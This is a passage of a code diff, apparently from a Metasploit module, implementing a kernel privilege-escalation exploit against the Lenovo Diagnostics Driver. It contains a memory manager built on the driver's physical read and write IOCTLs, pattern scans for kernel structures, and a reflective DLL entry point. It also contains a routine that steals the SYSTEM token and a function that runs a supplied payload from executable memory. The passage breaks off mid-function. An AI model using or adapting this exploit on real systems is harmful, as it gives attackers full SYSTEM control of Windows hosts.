dprintf("lpMmGetPhysicalAddress = (SIZE_T)lpMmGetPhysicalAddress - (SIZE_T)hNtos + (SIZE_T)this->NtosBase");
dprintf("lpMmGetPhysicalAddress is %llx\n", lpMmGetPhysicalAddress);
dprintf("(SIZE_T)hNtos %llx\n", (SIZE_T)hNtos);
dprintf("(SIZE_T)this->NtosBase %llx\n", (SIZE_T)this->NtosBase);
lpMmGetPhysicalAddress = (PVOID)(((SIZE_T)lpMmGetPhysicalAddress - (SIZE_T)hNtos) + (SIZE_T)this->NtosBase);
dprintf("lpMmGetPhysicalAddress is now: %llx\n", lpMmGetPhysicalAddress);
FreeLibrary(hNtos);
dprintf("Searching MmGetPhysicalAddress for MiGetPhysicalAddress...");
read_src = (SIZE_T)lpMmGetPhysicalAddress;
bRes = this->SearchPattern(
(PBYTE)&arrMmGetPhysPattern,
(PBYTE)&arrMmGetPhysMask,
sizeof(arrMmGetPhysMask),
(UINT64)lpMmGetPhysicalAddress,
MAXSEARCH_MMGETPHYS,
(PUINT64)&lpMiGetPhysicalAddress
);
if (!bRes) {
return FALSE;
}
dprintf("Found MiGetPhysicalAddress call at %llx\n", (SIZE_T)lpMiGetPhysicalAddress);
dprintf("reading offset from call instruction");
bRes = this->ReadVirtData(((SIZE_T)lpMiGetPhysicalAddress + 1), (PDWORD)&dwRel32Loc);
if (!bRes) {
return FALSE;
}
lpMiGetPhysicalAddress = (PVOID)((SIZE_T)lpMiGetPhysicalAddress + SZ_CALLREL32 + dwRel32Loc);
dprintf("MiGetPhysicalAddress at %llx\n", (SIZE_T)lpMiGetPhysicalAddress);
dprintf("Searching MiGetPhysicalAddress for MiFillPteHierarchy...");
bRes = SearchPattern(
(PBYTE)&arrCallMiFillPteHierarchy,
(PBYTE)&arrCallMiFillPteHierarchyMask,
sizeof(arrCallMiFillPteHierarchy),
(UINT64)lpMiGetPhysicalAddress,
MAXSEARCH_MIGETPHYS,
(PUINT64)&lpMiFillPteHierarchy
);
if (!bRes) {
//puts("Failure in finding MiFillPteHierarchy call...");
return FALSE;
}
dprintf("Found MiFillPteHierarchy call at %llx\n", (SIZE_T)lpMiFillPteHierarchy);
dprintf("reading offset from call instruction");
dwRel32Loc = 0;
bRes = this->ReadVirtData<DWORD>(((SIZE_T)lpMiFillPteHierarchy + 1), (PDWORD)&dwRel32Loc);
if (!bRes) {
return FALSE;
}
dprintf("offset is %x\n", dwRel32Loc);
lpMiFillPteHierarchy = (PVOID)((SIZE_T)lpMiFillPteHierarchy + SZ_CALLREL32 + dwRel32Loc);
dprintf("MiFillPteHierarchy at %llx\n", (SIZE_T)lpMiFillPteHierarchy);
dprintf("Searching MiFillPteHierarchy for PteBase...");
UINT64 qwPteBase = 0;
bRes = SearchPattern(
arrMiFillPteHeirarchyPTE,
arrMiFillPteHeirarchyPTEMask,
sizeof(arrMiFillPteHeirarchyPTEMask),
(UINT64)lpMiFillPteHierarchy,
MAXSEARCH_MIGETPHYS,
(PUINT64)&qwPteBase
);
dprintf("PteBase found %llx\n", qwPteBase);
if (!bRes) {
return FALSE;
}
bRes = this->ReadVirtData<UINT64>((qwPteBase + 2), &qwPteBase);
if (!bRes) {
return FALSE;
}
dprintf("PteBase is %llx\n", qwPteBase);
return qwPteBase;
}
UINT64 LenovoMemoryMgr::GetPteBaseW10()
{
DWORD64 read_src = 0;
DWORD64 call_loc = 0;
DWORD64 sz_found_item = 0;
LPVOID lpKeBugCheck2 = NULL;
LPVOID lpKiMarkBugCheckRegions = NULL;
LPVOID lpMovRaxPteBase = NULL; // might not need this...
HMODULE hNtos = LoadLibraryA("ntoskrnl.exe");
LONG dwRel32Loc = 0;
WORD wNopRet = 0;
BOOL bRes = FALSE;
BYTE firstByte = 0;
if (!hNtos) {
return FALSE;
}
PVOID lpKeBugCheckEx = GetProcAddress(hNtos, "KeBugCheckEx");
dprintf("lpKeBugCheckEx is %llx\n", lpKeBugCheckEx);
if (!lpKeBugCheckEx) {
dprintf("Finding KeBugCheckEx failed");
return FALSE;
}
lpKeBugCheckEx = (PVOID)(((SIZE_T)lpKeBugCheckEx - (SIZE_T)hNtos) + (SIZE_T)this->NtosBase);
FreeLibrary(hNtos);
read_src = (SIZE_T)lpKeBugCheckEx;
bRes = this->SearchPattern(
(PBYTE)&arrKeBugCheckExPattern,
(PBYTE)&arrKeBugCheckExMask,
sizeof(arrKeBugCheckExMask),
(UINT64)lpKeBugCheckEx,
MAXSEARCH_MMGETPHYS,
(PUINT64)&lpKeBugCheck2
);
if (!bRes) {
return FALSE;
}
dprintf("Found KeBugCheck2 call at %llx\n", (SIZE_T)lpKeBugCheck2);
dprintf("reading offset from call instruction");
bRes = this->ReadVirtData(((SIZE_T)lpKeBugCheck2 + 1), (PDWORD)&dwRel32Loc);
dprintf("dwRel32Loc is now: %x\n", dwRel32Loc);
dprintf("&dwRel32Loc is now: %x\n", &dwRel32Loc);
if (!bRes) {
return FALSE;
}
lpKeBugCheck2 = (PVOID)((SIZE_T)lpKeBugCheck2 + SZ_CALLREL32 + dwRel32Loc + 0xB00);
dprintf("lpKeBugCheck2 at %llx\n", (SIZE_T)lpKeBugCheck2);
dprintf("Searching KeBugCheck2 for KiMarkBugCheckRegion...");
bRes = SearchPattern(
(PBYTE)&arrKeBugCheck2Pattern,
(PBYTE)&arrKeBugCheck2Mask,
sizeof(arrKeBugCheck2Mask),
(UINT64)lpKeBugCheck2,
MAXSEARCH_KEBUGCHECK2,
(PUINT64)&lpKiMarkBugCheckRegions
);
if (!bRes) {
dprintf("Failure in finding KiMarkBugCheckRegions call...");
return FALSE;
}
dprintf("Found KiMarkBugCheckRegions call at %llx\n", (SIZE_T)lpKiMarkBugCheckRegions);
dprintf("reading offset from call instruction");
dwRel32Loc = 0;
bRes = this->ReadVirtData<DWORD>(((SIZE_T)lpKiMarkBugCheckRegions + 1), (PDWORD)&dwRel32Loc);
if (!bRes) {
return FALSE;
}
dprintf("offset is %x\n", dwRel32Loc);
lpKiMarkBugCheckRegions = (PVOID)((SIZE_T)lpKiMarkBugCheckRegions + SZ_CALLREL32 + dwRel32Loc);
dprintf("KiMarkBugCheckRegions at %llx\n", (SIZE_T)lpKiMarkBugCheckRegions);
dprintf("Searching lpKiMarkBugCheckRegions for MmPteBase...");
LPVOID lpMmPteBase = NULL;
bRes = SearchPattern(
arrMovRaxPteBasePattern,
arrMovRaxPteBaseMask,
sizeof(arrMovRaxPteBaseMask),
(UINT64)lpKiMarkBugCheckRegions,
MAXSEARCH_KIMARKBUGCHECKREGIONS,
(PUINT64)&lpMmPteBase
);
if (!bRes) {
dprintf(" !bRes, couldnt find MovRaxPteBase pattern or MmPteBase exitting ...");
abort();
return FALSE;
}
dprintf("FOUND MovRaxPteBase call at: %x\n", (SIZE_T)lpMmPteBase);
dprintf("reading offset from call instruction");
dwRel32Loc = 0;
bRes = this->ReadVirtData<DWORD>(((SIZE_T)lpMmPteBase + 3), (PDWORD)&dwRel32Loc);
dprintf("dwRel32Loc is now: %x\n", dwRel32Loc);
dprintf("&dwRel32Loc is now: %x\n", &dwRel32Loc);
if (!bRes) {
dprintf("Reading the following virtual data failed: (MmPteBase + 2), &MmPteBase");
return FALSE;
}
dprintf("offset is %x\n", dwRel32Loc);
lpMmPteBase = (PVOID)((SIZE_T)lpMmPteBase + SZ_MOV_REL32 + dwRel32Loc);
dprintf("lpMmPteBase is now %llx\n", lpMmPteBase);
UINT64 MmPteBase;
bRes = this->ReadVirtData<UINT64>(((SIZE_T)lpMmPteBase), &MmPteBase);
dprintf("MmPteBase is now: %llx\n", MmPteBase);
return MmPteBase;
}
UINT64 LenovoMemoryMgr::VtoP(UINT64 va, UINT64 index, PageType p)
{
switch (p) {
case PageType::UsePte:
va &= 0xfff;
break;
case PageType::UsePde:
va &= 0x1fffff;
break;
default:
return 0;
}
return (index << 12) + va;
}
BOOL LenovoMemoryMgr::SearchPattern(PBYTE pattern, PBYTE mask, DWORD dwPatternSize, UINT64 lpBeginSearch, SIZE_T lenSearch, PUINT64 AddressOfPattern)
{
SIZE_T szBeginSearch = (SIZE_T)lpBeginSearch;
//dprintf("szBeginSearch is: %x\n", szBeginSearch);
//dprintf("Search Length is: %x\n", lenSearch);
BOOL bRes = FALSE;
BOOL bFound = FALSE;
for (int i = 0; i < lenSearch; i++) {
for (unsigned int j = 0; j <= dwPatternSize; j++) {
// read a byte
BYTE b = 0;
if (!this->ReadVirtData<BYTE>((szBeginSearch + i + j), &b)) {
return FALSE;
}
if (j == dwPatternSize) {
if (bFound)
{
*AddressOfPattern = szBeginSearch + i;
return TRUE;
}
return FALSE;
}
// skip over if mask says to ignore value or if the byte matches our pattern
if (mask[j] == '?' || b == pattern[j]) {
//dprintf("Found %x\n", pattern[j]);
bFound = TRUE;
}
else {
bFound = FALSE;
break;
}
}
}
return FALSE;
}
PageType LenovoMemoryMgr::GetPageTypeForVirtualAddress(UINT64 VirtAddress, PPAGE_TABLE_ENTRY PageTableEntry)
{
// fill the pte hierarchy for the virtual address
PFILL_PTE_HIERARCHY hierarchy = this->CreatePteHierarchy(VirtAddress);
// read the PTE contents, if they are zero we are using large pages
// if the PDE is also zero, god help you
this->ReadVirtData<UINT64>(hierarchy->PTE, &PageTableEntry->value);
if (!PageTableEntry->value) {
this->ReadVirtData<UINT64>(hierarchy->PDE, &PageTableEntry->value);
return PageType::UsePde;
}
return PageType::UsePte;
}
UINT64 LenovoMemoryMgr::FindNtosBase()
{
printf("Starting FindNtosBase");
UINT64 retval = 0;
HANDLE hHeap = GetProcessHeap();
LPVOID lpHeapBuffer = HeapAlloc(hHeap, 0, 0x2000);
DWORD dwBytesReturned = 0;
if (!lpHeapBuffer) {
return NULL;
}
NTSTATUS status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SYS_INFO_CLASS_MODULE_INFO,
lpHeapBuffer,
0x2000,
&dwBytesReturned
);
// realloc and try again
// todo: add switch case for status
if (!NT_SUCCESS(status)) {
HeapFree(hHeap, 0, lpHeapBuffer);
lpHeapBuffer = HeapAlloc(hHeap, 0, dwBytesReturned);
if (!lpHeapBuffer) {
return NULL;
}
status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SYS_INFO_CLASS_MODULE_INFO,
lpHeapBuffer,
dwBytesReturned,
&dwBytesReturned
);
if (!NT_SUCCESS(status)) {
return NULL;
}
}
PSYSTEM_MODULE_INFORMATION psm = (PSYSTEM_MODULE_INFORMATION)lpHeapBuffer;
if (psm->ModulesCount > 0) {
retval = (UINT64)psm->Modules[0].ImageBase;
HeapFree(hHeap, 0, lpHeapBuffer);
return retval;
}
return NULL;
}
/*
Todo: ensure our reads aren't crossing a page boundary
*/
_Use_decl_annotations_
BOOL LenovoMemoryMgr::ReadVirtualMemory(UINT64 address, PVOID buffer, size_t szBuffer)
{
if (!buffer) {
return FALSE;
}
BOOL bRes = FALSE;
UINT64 bufferIndex = (UINT64)buffer;
while (TRUE) {
if (szBuffer > sizeof(UINT64)) {
szBuffer -= sizeof(UINT64);
bRes = this->ReadVirtData(address, (PUINT64)bufferIndex);
if (!bRes) {
return FALSE;
}
bufferIndex += sizeof(UINT64);
}
else if (szBuffer > sizeof(UINT32)) {
szBuffer -= sizeof(UINT32);
bRes = this->ReadVirtData(address, (PUINT32)bufferIndex);
if (!bRes) {
return FALSE;
}
bufferIndex += sizeof(UINT32);
}
else if (szBuffer > sizeof(UINT16)) {
szBuffer -= sizeof(UINT16);
bRes = this->ReadVirtData(address, (PUINT16)bufferIndex);
if (!bRes) {
return FALSE;
}
bufferIndex += sizeof(UINT16);
}
else if (szBuffer >= sizeof(UINT8)) {
szBuffer -= sizeof(UINT8);
bRes = this->ReadVirtData(address, (PUINT8)bufferIndex);
if (!bRes) {
return FALSE;
}
bufferIndex += sizeof(UINT8);
}
else {
break;
}
}
return TRUE;
}
/*
Todo: ensure our writes aren't crossing a page boundary
*/
_Use_decl_annotations_
BOOL LenovoMemoryMgr::WriteVirtualMemory(UINT64 address, PVOID buffer, size_t szBuffer)
{
if (!buffer) {
return FALSE;
}
BOOL bRes = FALSE;
UINT64 bufferIndex = (UINT64)buffer;
while (TRUE) {
if (szBuffer > sizeof(UINT64)) {
szBuffer -= sizeof(UINT64);
bRes = this->WriteVirtData(address, (PUINT64)bufferIndex);
if (!bRes) {
return FALSE;
}
bufferIndex += sizeof(UINT64);
}
else if (szBuffer > sizeof(UINT32)) {
szBuffer -= sizeof(UINT32);
bRes = this->WriteVirtData(address, (PUINT32)bufferIndex);
if (!bRes) {
return FALSE;
}
bufferIndex += sizeof(UINT32);
}
else if (szBuffer > sizeof(UINT16)) {
szBuffer -= sizeof(UINT16);
bRes = this->WriteVirtData(address, (PUINT16)bufferIndex);
if (!bRes) {
return FALSE;
}
bufferIndex += sizeof(UINT16);
}
else if (szBuffer >= sizeof(UINT8)) {
szBuffer -= sizeof(UINT8);
bRes = this->WriteVirtData(address, (PUINT8)bufferIndex);
if (!bRes) {
return FALSE;
}
bufferIndex += sizeof(UINT8);
}
else {
break;
}
}
return TRUE;
}
BOOL LenovoMemoryMgr::init(DWORD dwBuild)
{
dprintf("Creating handle to a file");
HANDLE hDev = CreateFileA(
this->strDeviceName,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDev == NULL || hDev == INVALID_HANDLE_VALUE) {
return FALSE;
}
dprintf("FindingNtosBase");
this->NtosBase = this->FindNtosBase();
dprintf("this->NtosBase is: %llx\n", this->NtosBase);
this->hDevice = hDev;
dprintf("FindingSwapSpace");
this->physSwapAddr = this->FindPhysSwapSpace();
dprintf("GettingPTEBase");
dwBuild = LOWORD(dwBuild);
if (dwBuild >= 22000) {
this->PteBase = this->GetPteBaseW11();
}
else {
this->PteBase = this->GetPteBaseW10();
}
return TRUE;
}
BOOL LenovoMemoryMgr::teardown()
{
CloseHandle(this->hDevice);
return 0;
}

View File

@ -0,0 +1,182 @@
/*
Copyright 2022 <COPYRIGHT HOLDER>
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll")
#define IOCTL_PHYS_RD 0x222010
#define IOCTL_PHYS_WR 0x222014
#define SYS_INFO_CLASS_MODULE_INFO 0x0b
#define OFFSET_PS_INITIAL_SYSTEM_PROC 0x00cfb420
#define EPROCESS_TOKEN_OFFSET 0x358
#define EPROCESS_ACTIVE_LINKS_OFFSET
#define EPROCESS_DIRBASE_OFFSET 0x028
typedef struct SYSTEM_MODULE {
PVOID Reserved1;
PVOID Reserved2;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct LDIAG_READ {
DWORD64 data;
DWORD64 wLen;
} LDIAG_READ, * PLDIAG_READ;
typedef struct LDIAG_WRITE {
DWORD64 _where;
DWORD dwMapSize;
DWORD dwLo;
DWORD64 _what_ptr;
} LDIAG_WRITE, * PLDIAG_WRITE;
// https://github.com/ch3rn0byl/CVE-2021-21551/blob/master/CVE-2021-21551/typesndefs.h
typedef struct _FILL_PTE_HIERARCHY
{
UINT64 PXE = 0;
UINT64 PPE = 0;
UINT64 PDE = 0;
UINT64 PTE = 0;
} FILL_PTE_HIERARCHY, * PFILL_PTE_HIERARCHY;
// https://github.com/ch3rn0byl/CVE-2021-21551/blob/master/CVE-2021-21551/typesndefs.h#L54
typedef union _PAGE_TABLE_ENTRY
{
struct
{
UINT64 Present : 1; /// bit 0
UINT64 ReadWrite : 1; /// bit 1
UINT64 UserSupervisor : 1; /// bit 2
UINT64 PageLevelWriteThrough : 1; /// bit 3
UINT64 PageLevelCacheDisable : 1; /// bit 4
UINT64 Accessed : 1; /// bit 5
UINT64 Dirty : 1; /// bit 6
UINT64 PAT : 1; /// bit 7
UINT64 Global : 1; /// bit 8
UINT64 CopyOnWrite : 1; /// bit 9
UINT64 Ignored : 2; /// bits 10 - 11
UINT64 Pfn : 40; /// bits 12 - (52 - 1)
UINT64 Reserved : 11; /// bits 52 - 62
UINT64 NxE : 1; /// bit 63
} flags;
UINT64 value = 0;
} PAGE_TABLE_ENTRY, * PPAGE_TABLE_ENTRY;
enum PageType {
UsePte,
UsePde
};
// Begin pattern matching
#define NOP_RET ((WORD)0xc390)
#define MAXSEARCH_KEBUGCHECKEX 0x300
#define MAXSEARCH_KEBUGCHECK2 0x1100
#define MAXSEARCH_KIMARKBUGCHECKREGIONS 0x1100
#define MAXSEARCH_MMGETPHYS 0x200
#define MAXSEARCH_MIGETPHYS 0x200
#define SZ_CALLREL32 5
#define SZ_MOV_REL32 7
static BYTE arrKeBugCheckExPattern[7] = { 0xe8, 0, 0, 0, 0, 0x90, 0xc3 };
static BYTE arrKeBugCheckExMask[7] = { 0, '?', '?', '?', '?', 0, 0 };
static BYTE arrKeBugCheck2Pattern[8] = { 0xe8, 0, 0, 0, 0, 0x48, 0x83, 0x3d };
static BYTE arrKeBugCheck2Mask[8] = { 0, '?', '?', '?', '?', 0, 0, 0 };
static BYTE arrMovRaxPteBasePattern[9] = { 0x48, 0x8b, 0x05, 0, 0, 0, 0, 0x48, 0xc1 };
static BYTE arrMovRaxPteBaseMask[9] = { 0, 0, 0, '?', '?', '?', '?', 0, 0 };
static BYTE arrMmGetPhysPattern[7] = { 0xe8, 0, 0, 0, 0, 0xf7, 0xd8 };
static BYTE arrMmGetPhysMask[7] = { 0, '?', '?', '?', '?', 0, 0 };
static BYTE arrCallMiFillPteHierarchy[8] = { 0xe8, 0, 0, 0, 0, 0x48, 0x8b, 0xce };
static BYTE arrCallMiFillPteHierarchyMask[8] = { 0,'?','?','?','?', 0, 0, 0 };
static BYTE arrMiGetPhysPattern[6] = { 0xe8, 0, 0, 0, 0, 0xeb };
static BYTE arrMiGetPhysMask[6] = { 0, '?', '?', '?', '?', 0 };
static BYTE arrMiVaToPfnPattern[12] = { 0x48, 0xbf, 0, 0, 0, 0, 0, 0, 0, 0, 0x41, 0x8b };
static BYTE arrMiVaToPfnMask[12] = { 0, 0, '?', '?', '?', '?','?', '?', '?', '?', 0, 0 };
static BYTE arrMiFillPteHeirarchyPTE[13] = {
0x49, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, // mov r8, qwPteBase
0x49, 0x8b, 0xc0 // mov rax, r8
};
static BYTE arrMiFillPteHeirarchyPTEMask[13] = { 0, 0, '?', '?', '?', '?','?', '?', '?', '?', 0, 0, 0 };
// end pattern matching
#define OFFSET_EPROCESS_LINKS 0x448
#define OFFSET_EPROCESS_TOKEN 0x4b8
#define OFFSET_EPROCESS_PID 0x440
class LenovoMemoryMgr
{
public:
LenovoMemoryMgr() {};
~LenovoMemoryMgr() {};
HANDLE hDevice = 0;
UINT64 physSwapAddr = 0;
UINT64 tempSwap = 0;
UINT64 NtosBase = 0;
UINT64 PteBase = 0;
// untested, YMMV
BOOL ReadVirtualMemory(_In_ UINT64 address, _Inout_ PVOID buffer, _In_ size_t szBuffer);
// untested, YMMV
BOOL WriteVirtualMemory(_In_ UINT64 address, _In_ PVOID buffer, _In_ size_t szBuffer);
BOOL init(DWORD dwBuild);
BOOL teardown();
const char* strDeviceName = R"(\\.\LenovoDiagnosticsDriver)";
template <typename T>
BOOL ReadPhysData(_In_ UINT64 address, _Out_ T* data);
template <typename T>
BOOL WritePhysData(_In_ UINT64 PhysDest, _In_ T* data);
template <typename T>
BOOL ReadVirtData(_In_ UINT64 address, _Out_ T* data);
template <typename T>
BOOL WriteVirtData(_In_ UINT64 address, _Out_ T* data);
private:
PFILL_PTE_HIERARCHY CreatePteHierarchy(UINT64 VirtualAddress);
UINT64 FindPhysSwapSpace();
UINT64 GetPteBaseW11();
UINT64 GetPteBaseW10();
UINT64 VtoP(UINT64 va, UINT64 index, PageType p);
BOOL SearchPattern(PBYTE patten, PBYTE mask, DWORD dwPatternSize, UINT64 lpBeginSearch, SIZE_T lenSearch, PUINT64 AddressOfPattern);
PageType GetPageTypeForVirtualAddress(UINT64 VirtAddress, PPAGE_TABLE_ENTRY PageTableEntry);
UINT64 FindNtosBase();
};

View File

@ -0,0 +1,42 @@
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#define DEBUGTRACE 1
#include "ReflectiveLoader.c"
#include "definitions.h"
#include "common.h"
#include <stdio.h>
#include <stdint.h>
#include <windows.h>
DWORD Exploit(PMSF_PAYLOAD pPayload);
void main(PMSF_PAYLOAD lpReserved) {
Exploit(lpReserved);
return;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
PMSF_PAYLOAD payload = (PMSF_PAYLOAD)lpReserved;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE*)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
main(payload);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

View File

@ -0,0 +1,238 @@
#pragma once
#define DEBUGTRACE 1
#include "common.h"
#include "definitions.h"
#include "LenovoMemoryMgr.h"
#include <tchar.h>
const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL;
fNtQuerySystemInformation NtQuerySystemInfo = NULL;
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL;
void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
if (!pMsfPayload)
return;
PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pPayload)
return;
CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL);
}
BOOL ResolveRequirements(DWORD dwMajor, DWORD dwMinor, DWORD dwBuild) {
dwBuild = LOWORD(dwBuild);
//dprintf("[*] Windows version: %u.%u.%u", dwMajor, dwMinor, dwBuild);
if ((dwMajor == 10) && (dwMinor == 0)) {
if ((dwBuild >= 14393) && (dwBuild <= 19045)) {
if ((dwBuild < 15063)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1607;
}
else if ((dwBuild < 16299)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1703;
}
else if ((dwBuild < 17134)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1709;
}
else if ((dwBuild < 17763)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1803;
}
else if ((dwBuild < 18362)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1809;
}
else if ((dwBuild < 19041)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1903;
}
else if ((dwBuild < 19043)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v2004;
}
else if ((dwBuild == 19044)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
}
else if ((dwBuild == 19045)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
}
}
else if (dwBuild == 22000) {
g_pEprocessOffsets = &EprocessOffsetsWin11v21H2;
}
else if (dwBuild == 20348) {
g_pEprocessOffsets = &EprocessOffsetsWinServer2022;
}
}
else {
return FALSE;
}
return TRUE;
}
PSYSTEM_HANDLE_TABLE_ENTRY_INFO GetHandleEntryInfo(HANDLE hHandle, DWORD dwProcessId) {
HANDLE hProcessHeap = GetProcessHeap();
DWORD dwSize = 4096;
DWORD dwReturnSize = 0;
PSYSTEM_HANDLE_INFORMATION pSystemHandles = NULL;
PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleEntryInfo = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
do {
if (pSystemHandles) {
HeapFree(hProcessHeap, 0, pSystemHandles);
pSystemHandles = NULL;
dwSize *= 2;
}
pSystemHandles = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, dwSize);
if (pSystemHandles == NULL) {
return NULL;
}
Status = (NTSTATUS)NtQuerySystemInfo(SystemHandleInformation, pSystemHandles, dwSize, &dwReturnSize);
} while (Status == STATUS_INFO_LENGTH_MISMATCH);
if (Status != STATUS_SUCCESS) {
HeapFree(hProcessHeap, 0, pSystemHandles);
return NULL;
}
for (DWORD dwIndex = 0; dwIndex < pSystemHandles->NumberOfHandles; dwIndex++) {
if (pSystemHandles->Handles[dwIndex].UniqueProcessId != dwProcessId) {
continue;
}
if ((HANDLE)pSystemHandles->Handles[dwIndex].HandleValue != hHandle) {
continue;
}
if (pHandleEntryInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO))) {
CopyMemory(pHandleEntryInfo, &pSystemHandles->Handles[dwIndex], sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO));
}
break;
}
HeapFree(hProcessHeap, 0, pSystemHandles);
return pHandleEntryInfo;
}
UINT64 GetPsInitialSystemProc(UINT64 lpNtoskrnlBase) {
HMODULE hNtos = LoadLibraryA("ntoskrnl.exe");
if (!hNtos) {
return NULL;
}
PVOID initial_proc = GetProcAddress(hNtos, "PsInitialSystemProcess");
initial_proc = (PVOID)(((SIZE_T)initial_proc - (SIZE_T)hNtos) + (SIZE_T)lpNtoskrnlBase);
FreeLibrary(hNtos);
return (UINT64)initial_proc;
}
// this is a over-simplification of the primitives to just do a ULONG_PTR at a time
// they can actually be used to transfer an arbitrary amount of data
ULONG_PTR KernelRead(LenovoMemoryMgr lm, ULONG_PTR SrcAddr) {
ULONG_PTR ulValueRead;
lm.ReadVirtData(SrcAddr, &ulValueRead);
return ulValueRead;
}
VOID KernelWrite(LenovoMemoryMgr lm, ULONG_PTR DstAddr, ULONG_PTR Data) {
lm.WriteVirtData(DstAddr, &Data);
}
BOOL UpgradeToken(LenovoMemoryMgr lm, PVOID pParam, ULONG_PTR ulEProcess) {
ULONG_PTR ulEprocessBak = ulEProcess;
ULONG_PTR ulSystemToken = 0;
ULONG_PTR ulMyToken = 0;
ULONG_PTR ulMyTokenAddr = 0;
DWORD dwPidSelf = GetCurrentProcessId();
while (!ulSystemToken || !ulMyTokenAddr) {
DWORD dwPidRead = KernelRead(lm, ulEProcess + g_pEprocessOffsets->UniqueProcessId) & 0xffffffff;
if (dwPidRead == 4)
{
ulSystemToken = KernelRead(lm, ulEProcess + g_pEprocessOffsets->Token);
}
if (dwPidRead == dwPidSelf)
{
ulMyTokenAddr = ulEProcess + g_pEprocessOffsets->Token;
}
ulEProcess = KernelRead(lm, ulEProcess + g_pEprocessOffsets->ActiveProcessLinks) - g_pEprocessOffsets->ActiveProcessLinks;
if (ulEprocessBak == ulEProcess)
break;
}
KernelWrite(lm, ulMyTokenAddr, ulSystemToken);
return TRUE;
}
DWORD Exploit(PMSF_PAYLOAD pPayload) {
HANDLE hDriver = INVALID_HANDLE_VALUE;
HANDLE hProc = INVALID_HANDLE_VALUE;
PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleEntryInfo = NULL;
HMODULE hNtdll = GetModuleHandle("ntdll");
if (hNtdll == NULL) {
return FALSE;
}
NtQuerySystemInfo = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
if (NtQuerySystemInfo == NULL) {
return FALSE;
}
if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) {
return FALSE;
}
/* get the version to determine the necessary eprocess offsets */
DWORD dwMajor, dwMinor, dwBuild;
RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);
LenovoMemoryMgr lm = LenovoMemoryMgr::LenovoMemoryMgr();
BOOL hasInit = lm.init(dwBuild);
if (!hasInit) {
return -1;
}
UINT64 OurProcess = 0;
if (!ResolveRequirements(dwMajor, dwMinor, dwBuild)) {
dprintf("[-] Failed to resolve requirements");
return 0;
}
UINT64 PsInitialSystemProcPtr = GetPsInitialSystemProc(lm.NtosBase);
dprintf("Found initial system process at %llx\n", PsInitialSystemProcPtr);
UINT64 SystemProc = 0;
lm.ReadVirtData(PsInitialSystemProcPtr, &SystemProc);
hDriver = CreateFile(_T("\\\\.\\LenovoDiagnosticsDriver"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
